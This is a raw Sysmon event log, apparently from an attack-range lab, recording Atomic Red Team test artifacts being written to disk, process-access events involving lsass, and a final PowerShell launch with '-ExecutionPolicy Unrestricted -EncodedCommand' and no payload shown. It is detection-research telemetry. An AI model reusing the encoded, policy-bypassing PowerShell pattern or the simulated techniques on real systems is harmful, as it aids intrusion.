AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x80000000000000003853Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.626{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.012\src\x64\Release\atomicNotepad.dll2020-10-09 09:10:50.626 11241100x80000000000000003852Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.611{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.012\src\atomicNotepad\atomicNotepad.vcxproj2020-10-09 09:10:50.611 11241100x80000000000000003851Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.611{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.012\src\atomicNotepad.sln2020-10-09 09:10:50.611 11241100x80000000000000003850Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.611{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.012\bin\T1574.012x64.dll2020-10-09 09:10:50.611 11241100x80000000000000003849Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:50.595{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.009\bin\WindowsServiceExample.exe2020-10-09 09:10:50.595 11241100x80000000000000003848Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.579{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.002\bin\libcurl.dll2020-10-09 09:10:50.579 11241100x80000000000000003847Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:50.564{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1574.002\bin\GUP.exe2020-10-09 09:10:50.564 11241100x80000000000000003846Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.533{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1566.001\bin\PhishingAttachment.xlsm2020-10-09 09:10:50.533 11241100x80000000000000003845Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.533{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1564.004\src\test.ps12020-10-09 09:10:50.533 11241100x80000000000000003844Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:50.501{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1562.004\bin\AtomicTest.exe2020-10-09 09:10:50.501 11241100x80000000000000003843Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.470{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1559.002\src\PowerShell_Script_For_DDE_Document.ps12020-10-09 09:10:50.470 11241100x80000000000000003842Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.345{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1547.001\src\vbsstartup.vbs2020-10-09 09:10:50.345 11241100x80000000000000003841Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.345{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1547.001\src\jsestartup.jse2020-10-09 09:10:50.345 11241100x80000000000000003840Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.345{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1547.001\src\batstartup.bat2020-10-09 09:10:50.345 11241100x80000000000000003839Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:50.314{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1546.011\bin\AtomicTest.exe2020-10-09 09:10:50.314 11241100x80000000000000003838Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.314{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1546.011\bin\AtomicTest.dll2020-10-09 09:10:50.314 11241100x80000000000000003837Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.298{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1546.010\bin\T1546.010x86.dll2020-10-09 09:10:50.298 11241100x80000000000000003836Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.298{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1546.010\bin\T1546.010.dll2020-10-09 09:10:50.298 11241100x80000000000000003835Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:50.251{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1543.003\bin\AtomicService.exe2020-10-09 09:10:50.251 11241100x80000000000000003834Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.158{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218\src\x64\T1218.dll2020-10-09 09:10:50.158 11241100x80000000000000003833Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.142{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218\src\Win32\T1218.dll2020-10-09 09:10:50.142 11241100x80000000000000003832Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.142{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218\src\Win32\T1218-2.dll2020-10-09 09:10:50.142 11241100x80000000000000003831Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.111{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.010\bin\AllTheThingsx86.dll2020-10-09 09:10:50.111 11241100x80000000000000003830Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.111{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.010\bin\AllTheThingsx64.dll2020-10-09 09:10:50.111 11241100x80000000000000003829Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.095{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.008\src\Win32\T1218-2.dll2020-10-09 09:10:50.095 11241100x80000000000000003828Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:50.095{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.007\src\x64\T1218.dll2020-10-09 09:10:50.095 11241100x80000000000000003827Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.064{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.005\src\powershell.ps12020-10-09 09:10:50.064 11241100x80000000000000003826Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.064{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.005\src\T1218.005.hta2020-10-09 09:10:50.064 11241100x80000000000000003825Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.048{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.004\src\InstallUtilTestHarness.ps12020-10-09 09:10:50.048 11241100x80000000000000003824Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:50.033{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1218.001\src\T1218.001.chm2020-10-09 09:10:50.033 11241100x80000000000000003912Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.970{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_ygoi3vtz.epc.ps12020-10-09 09:10:51.970 10341000x80000000000000003911Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003910Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003909Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003908Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003907Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003906Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003905Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003904Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003903Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003902Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003901Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003900Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003899Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003898Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003897Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.923{A5F018FF-291B-5F80-C400-000000007F01}43764672C:\Windows\system32\cmd.exe{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003896Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.926{A5F018FF-291B-5F80-C500-000000007F01}3340C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 